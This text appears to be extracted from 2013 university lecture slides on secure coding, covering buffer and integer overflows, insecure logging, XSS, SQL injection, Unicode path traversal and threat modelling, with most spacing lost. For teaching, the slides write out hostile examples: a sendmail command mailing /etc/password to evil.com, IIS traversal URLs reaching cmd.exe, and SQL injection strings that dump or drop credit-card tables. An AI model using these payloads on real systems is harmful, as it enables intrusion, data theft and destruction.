SecureCoding
ReniervanHeerden UP/CSIR
Secure?
PhysicalSecurity VirtualSecurity ConfidentialitySecurity AvailabilitySecurity IntegritySecurity
2013/05/20
SecurityThreats
BufferOverflow InappropriateLogging UnnecessaryPrivileges Misconfigured Systems ArithmeticErrors CrosssiteScripting SQLInjection CryptographyWeaknesses UnicodeIssues DenialofService
BufferOverflow
Imaginesimplepasswordcheckingcode
passwd {... int funct(char*inp){ charbuf[10]; strcpy(buf,inp);} ... }
Functionstorageallocatedonruntimestack
Firstreturnaddress(4B) Thenlocationsforinputparameter Thenspaceforbuffer(10chars)
Whatifstrlen(inp)>10?
Fillupbuffer Writeoverfunctionparameter Writeoverreturnaddress Returnwilljumptolocationdeterminedbyinput
2013/05/20
InappropriateLogging
PDGsoftwebtransactionprocessingsystem
Createslogfilethatisworldreadable:/cgi_bin/PDG_cart/order.log Filecontainsmailingaddresses,creditcardnumbers,... Canuse(orcould use)Googletofindsitesthathavethisfile Bugdiscoveredafewyearsago
PDGissuedpatch: changedprotectiondomainoflogfile,encryptslogfile 1.5yearslater,FBIreports:stilllotsofsitesvulnerable Adminsdon'tinstallpatchesWhy?
CiscoResourceManager(CRM)
Administrativetool,runsonadminmachine Logseverythingadmindoes(includinguname/pwd) Worldreadablefile;anyoneonsystemcanreadit
LegatoNetworker,2002
Alsologsunames/pwds Logfilenotprotected
Unnecessaryprivileges
Principleofleastprivilege
Applicationsshouldonlyhaveminimalprivilegesneededtodojob
Problemswithsetuidprogramsrunningasroot
Unixallowsmanyprogramstorunasroot abadidea In1999,50%ofsendmailserverswerevulnerable MostDNSserversrunbind,60%ofthemwithvulnerabilities
Manysendmailattacksandpatchesovertheyears
Oldandamusingattackbasedonbadinputchecking
telnetvictim.com25 mailfrom:"|/bin/mailme@evil.com</etc/password rcptto:somebody@somewhere data...
Recommendation
Applyprincipleofleastprivilege;breakprogramintomodules
2013/05/20
Misconfiguredsystems
Idea
Accesscontroldependsonconfiguration Administrators,usersmakemistakesorkeepdefaults
Example
rshdaemongrantspermissionbasedon.rhostsfile If.rhostsisnotsetupproperly(orsomeonehasmodifiedit),then attackercangainaccess.
Relatedattack:Xwindowvulnerability
XscanfindsmachineswithXserverport6000open TriestoXopenDisplay(willsucceedif"xhosts*") Dumpsuserkeystrokestofile,cangetuserpassword
2013/05/20
Arithmetic,JPEGExample
Basedonarealworldvulnerabilityinthehandlingofthe commentfieldinJPEGfiles Commentfieldincludesatwobytelengthfieldindicating thelengthofthecomment,includingthetwobyte lengthfield. Todeterminethelengthofthecommentstring(for memoryallocation),thefunctionreadsthevalueinthe lengthfieldandsubtractstwo. Thefunctionthenallocatesthelengthofthecomment plusonebytefortheterminatingnullbyte.
IntegerOverflowExample
1. void getComment(unsigned int len, char *src) { 2. unsigned int size;
0 byte malloc() succeeds
3. 4. 5. 6. 7. }
size = len - 2; char *comment = (char *)malloc(size + 1); memcpy(comment, src, size); return; Sizeisinterpretedasalargepositive
valueof0xffffffff
8. int _tmain(int argc, _TCHAR* argv[]) { 9. getComment(1, "Comment "); 10. return 0; 11. } Possibletocauseanoverflowbycreating
animagewithacommentlengthfieldof1
2013/05/20
UnicodeVulnerability
Somewebserverscheckstringinput
Disallowsequencessuchas../or\ Butmaynotcheckunicode%c0%affor'/'
IISExample,usedbyNimdaworm
http://victim.com/scripts/../../winnt/system32/cmd.exe?<somecommand>
passes<somecommand>tocmdcommand scriptsdirectoryofIIShasexecutepermissions
Inputcheckingwouldpreventthat,butnotthis
http://victim.com/scripts/..%c0%af..%c0%afwinnt/system32/...
IISfirstchecksinput,thenexpandsunicode
WhatisCrossSiteScripting?
CrossSiteScriptingakaXSSorCSS Theplayers:
AnAttacker
AnonymousInternetUser MaliciousInternalUser
AcompanysWebserver(i.e.Webapplication)
External(e.g.:Shop,Information,CRM,Supplier) Internal(e.g.:EmployeesSelfServicePortal)
AClient
Anytypeofcustomer AnonymoususeraccessingtheWebServer
12
2013/05/20
CrossSiteScripting
ThethreeconditionsforCrossSiteScripting: 1.AWebapplicationacceptsuserinput
Well,whichWebapplicationdoesn't?
2.Theinputisusedtocreatedynamiccontent
Again,whichWebapplicationdoesn't?
3.Theinputisinsufficientlyvalidated
MostWebapplicationsdon'tvalidatesufficiently!
13
XSSAttack:GeneralOverview
Attacker
PostForumMessage: Subject:GETMoneyforFREE!!! Body: <script>attackcode</script>
WebServer
Didyouknowthis? ..... GETMoneyforFREE!!! <script>attackcode</script> Re:Errormessageonstartup ..... Ifoundasolution! ..... Cananybodyhelp? ..... Errormessageonstartup .....
Get/forum.jsp?fid=122&mid=2241
1.Attackersendsmaliciouscode 2. Serverstoresmessage
GETMoneyforFREE!!! <script>attackcode</script>
Client
!!!attackcode!!!
(c)2005,EUROSECGmbHChiffriertechnik &Sicherheit
14
2013/05/20
ImpactofXSSAttacks
AccesstoauthenticationcredentialsforWebapplication Cookies,UsernameandPassword
XSSisnotaharmlessflaw!
Normalusers
Accesstopersonaldata(Creditcard,BankAccount) Accesstobusinessdata(Biddetails,constructiondetails) Misuseaccount(orderexpensivegoods)
Highprivilegedusers
ControloverWebapplication Control/Access:Webservermachine Control/Access:Backend/Databasesystems
(c)2005,EUROSECGmbHChiffriertechnik &Sicherheit
15
SimpleXSSAttack
http://myserver.com/test.jsp?name=Stefan
2013/05/20
HowtoperformInputValidation
Checkiftheinputiswhatyouexpect
Donottrytocheckfor"badinput"
Blacklisttestingisnosolution
Blacklistsarenevercomplete!
Whitelisttestingisbetter
Onlywhatyouexpectwillpass (correct)Regularexpressions
17
WebApplicationFirewalls
WebApplicationFirewalls
Checkformalicousinputvalues Checkformodificationofreadonlyparameters Blockrequestsorfilteroutparameters
Canhelptoprotectoldapplications
Nosourcecodeavailable Noknowhowavailable Notimeavailable
Nogeneralsolution
Usefulnessdependsonapplication Notallapplicationscanbeprotected
18
2013/05/20
SQLInjection
SQLinjection codeinjectiontechniquethatexploitsasecurity vulnerabilityinapplication occursatthedatabaselayerofanapplication. SQL StructuredQueryLanguage Usedtocommunicatewiththedatabase
SQLAttackScenario(1)
Ex:PizzaSiteReviewingOrders
Formrequestingmonth#toviewordersfor
HTTPrequest:
https://www.deliver-me-pizza.com/show_orders?month=10
10
2013/05/20
SQLAttackScenario(2)
AppconstructsSQLqueryfromparameter:
sql_query = "SELECT pizza, toppings, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " " + "AND order_month=" + request.getParamenter("month");
SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10
SQLAttackScenario(3)
Malicious Query
SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1
WHEREconditionis alwaystrue!
ORprecedesAND Type1Attack: Gainsaccessto otherusers privatedata! All User Data Compromised
11
2013/05/20
SQLAttackScenario(4)
Moredamagingattack:attackersetsmonth=
0 AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards
Attackerisableto
Combine2queries 1st query:empty table(wherefails) 2nd query:credit card#sofallusers
SQLAttackScenario(4)
Evenworse,attackersets ThenDBexecutes
Type2Attack: Removescreditcards fromschema! Futureordersfail:DoS!
month=0; DROP TABLE creditcards;
SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0; DROP TABLE creditcards;
ProblematicStatements:
Modifiers:INSERT INTO admin_users VALUES ('hacker',...) Administrative:shutdownDB,controlOS
12
2013/05/20
SQLAttackScenario(5)
InjectingStringParameters:ToppingSearch
sql_query = "SELECT pizza, toppings, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " " + "AND topping LIKE '%" + request.getParamenter("topping") + "%' ";
Attackersets:topping=brzfg%'; Queryevaluatesas:
SELECT:emptytable commentsoutend Creditcardinfodropped
SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND topping LIKE '%brzfg%'; DROP table creditcards; --%'
SQLAttackScenario(6)
Source:http://xkcd.com/327/
13
2013/05/20
SecureCode
SecureCode,BasicConcept
ProgramComponent
Validateinput
Respond judiciously
Callothercode carefully
14
2013/05/20
DefenseinDepth
Failureisunavoidable planforit Haveaseriesofdefenses
Ifanerrororattackisnotcaughtbyone mechanism,itshouldbecaughtbyanother
Examples
Firewall+networkintrusiondetection Codemoduleillustrationonnextslide
Failsecurely
Many,manyvulnerabilitiesarerelatedtoerror handling,debuggingortestingfeatures,error messages
KeepItSimple
Usestandard,testedcomponents
Dontimplementyourowncryptography
Dontaddunnecessaryfeatures
Extrafunctionality morewaystoattack
Usesimplealgorithmsthatareeasytoverify
Atrickthatmaysaveafewinstructionsmay
Makeithardertogetthecoderight Makeithardertomodifyandmaintaincode
15
2013/05/20
SecuritybyObscurity
SecuritybyObscurityisaBADIDEA
Donothidesecuritykeysinfiles Donotrelyonundocumentedregistrykeys Assumeanattackerknowseverythingyou know
Why?
Ifattackerhas1inamillionchance,andthere areamillionattackers,youareoutofluck
Betterapproach
Predictablecodewithunpredictablekeys
Checkingsecuresoftware
Manyrulesforwritingsecurecode
sanitizeuserinputbeforeusingit checkpermissionsbeforedoingoperationX
Howtofinderrors?
Formalverification
+rigorous costly,expensive.*Very*raretodoforsoftware
Testing:
+simple,fewfalsepositives requiresrunningcode:doesntscale&canbeimpractical
Manualinspection
+flexible erratic&doesntscalewell.
Automationtools
+Cheap,quick FaultCoverage
16
2013/05/20
WritingSecureCode
Whatarethebestpractices?
SecureDesignProcess ThreatModelling
Design
Considersecurity
Atthestartoftheprocess Throughoutdevelopment Throughdeployment Atallsoftwarereviewmilestones
Donotstoplookingforsecuritybugsuntil theendofthedevelopmentprocess
17
2013/05/20
SecureProductDevelopmentTimeline
Analyze threats Assess security knowledge when hiring team members Determine security sign-off criteria Send out for external review Learn and refine
Concept
Designs Complete
Code Complete
Ship
Post-Ship
Resolve security issues, verify code against security guidelines Test for data mutation and least privilege
=ongoing
ThreatModeling
Threatmodelingisasecuritybasedanalysisthat:
Helpsaproductteamunderstandwheretheproductis mostvulnerable Evaluatesthethreatstoanapplication Aimstoreduceoverallsecurityrisks Findsassets Uncoversvulnerabilities Identifiesthreats Shouldhelpformthebasisofsecuritydesign specifications
18
2013/05/20
TheThreatModelingProcess
Threat Modeling Process 1 Identify Assets 2 Create an Architecture Overview 3 Decompose the Application 4 Identify the Threats 5 Document the Threats 6 Rate the Threats
ThreatModelingProcess
Step1:IdentifyAssets Buildalistofassetsthatrequireprotection, including:
Confidentialdata,suchascustomerdatabases Webpages Systemavailability Anythingelsethat,ifcompromised,wouldprevent correctoperationofyourapplication
19
2013/05/20
ThreatModelingProcess
Step2:CreateAnArchitectureOverview
Identifywhattheapplicationdoes Createanapplicationarchitecturediagram
File Authorization NTFS Permissions URL Authorization .NET Roles (Authentication) (Authentication) Trust Boundary IIS
Microsoft ASP.NET
User-Defined Role (Authentication) Trust Boundary ASPNET (Process Identity) IPSec (Private/Integrity) Microsoft Windowsr Authentication
ThreatModelingProcess
Step3:DecomposetheApplication
Breakdowntheapplication Createasecurityprofilebased ontraditionalareasof vulnerability Examineinteractionsbetween differentsubsystems Usediagrams
IdentifyTrustBoundaries
IdentifyDataFlow
IdentifyEntryPoints
IdentifyPrivilegedCode
DocumentSecurityProfile
20
2013/05/20
ThreatModelingProcess
Step4:IdentifytheThreats Assembleteam Identifythreats
Networkthreats Hostthreats Applicationthreats
ThreatModelingProcess(MS)
IdentifytheThreatsbyUsingSTRIDE
Types of threats Examples
Forging e-mail messages Replaying authentication packets Altering data during transmission Changing data in files Deleting a critical file and deny it Purchasing a product and deny it Exposing information in error messages Exposing code on Web sites Flooding a network with SYN packets Flooding a network with forged ICMP packets Exploiting buffer overruns to gain system privileges Obtaining administrator privileges illegitimately
21
2013/05/20
ThreatModelingProcess
IdentifytheThreatsbyUsingAttackTrees
1.0Viewpayrolldata(I) 1.1Trafficisunprotected(AND) 1.2Attackerviewstraffic 1.2.1Snifftrafficwithprotocolanalyzer 1.2.2Listentoroutertraffic 1.2.2.1Routerisunpatched(AND) 1.2.2.2Compromiserouter 1.2.2.3Guessrouterpassword
Threat#1(I) Viewpayrolldata
ThreatModelingProcess
Step5:DocumenttheThreats Documentthreatsbyusingatemplate:
Threat Description Threat target Risk Attack techniques Countermeasures Injection of SQL Commands
Data Access Component Attacker appends SQL commands to user name, which is used to form a SQL query Use a regular expression to validate the user name, and use a stored procedure with parameters to access the database
LeaveRiskblank(fornow)
22
2013/05/20
ThreatModelingProcess
Step6:RatetheThreats
Useformula:
Risk=Probability*DamagePotential
UseDREADtoratethreats
Damagepotential Reproducibility Exploitability Affectedusers Discoverability
ClassifyThreatsbydecreasingrisk(DREAD Model)
Damagepotential,Reproducibility,Exploitability,Affectedusers,Discoverability Risk=(D+R+E+A+D)/5
RespondingtoThreats
Choosetheappropriateresponse
Fixtheproblem Removetheproblem
Insteadofshippingwithaflaw,sometimestherightchoiceisto pullthefeatureoff
Informtheuserofthreat
Usuallyabadchoice,unlessforcertainuserprofiles,andthen, makeaudibleandloggedwarnings. Remember:usersdontreaddocs,usersclickOKonwarnings!!
DoNothing:veryrarelytherightchoice
Chances>0thatitwillbediscovered
23
2013/05/20
BestPractices
Essentials
MyuserisnotwhoIthinkheis Everyinputisguiltyuntilproveninnocent Think:WhatinputdoIwant,notWhatinputIdontwant Clientsidevalidationisnotsecurity,itismerelyawaytohelpenduser andavoidunneededload ThecodebeingexecutedisnotwhatIthinkitis,ifIuseprivilege, attackerswilluseittoo Knownalgorithmsarebetterthanmyown Cryptoisonlyasgoodasthekeyused Cryptoisnogoodifthekeyisnotprotected Lessfunctionalityisbetterthanriskingfailureorsecuritybreach
BestPractices
Goodcitizenshipofthefortress
Protecttheuser Protecttheusersconfidentialdata Donttelltheattackeranything Useimpersonationwithgreatcaution Useassertionswithgreatcaution Dontbeafraidofdenyingpermissions Usestrongpasswords(dontgotoofar,youllendupwithpassword stickersonkeyboards) Useleastprivilege
Forservices,useNetworkService,LocalService(notSystemServiceunless necessary) Usenormalaccounts(orlowerprivilegeaccounts),notadmin/SA
24
2013/05/20
CyberWargames
28September2013,09:00to16:00 AtUPorattheCSIRcampus Thegameswillconsistof:
AttackingServers DefendingServers CryptographicallyChallenges Surprises Prizes
FreeTrainingwillmadeavailableatalaterdate Contact
IvanBurke:iburke@csir.co.za,bruke.ivan@gmail.com ReniervanHeerden:rvheerden@csir.co.za,0128413434
25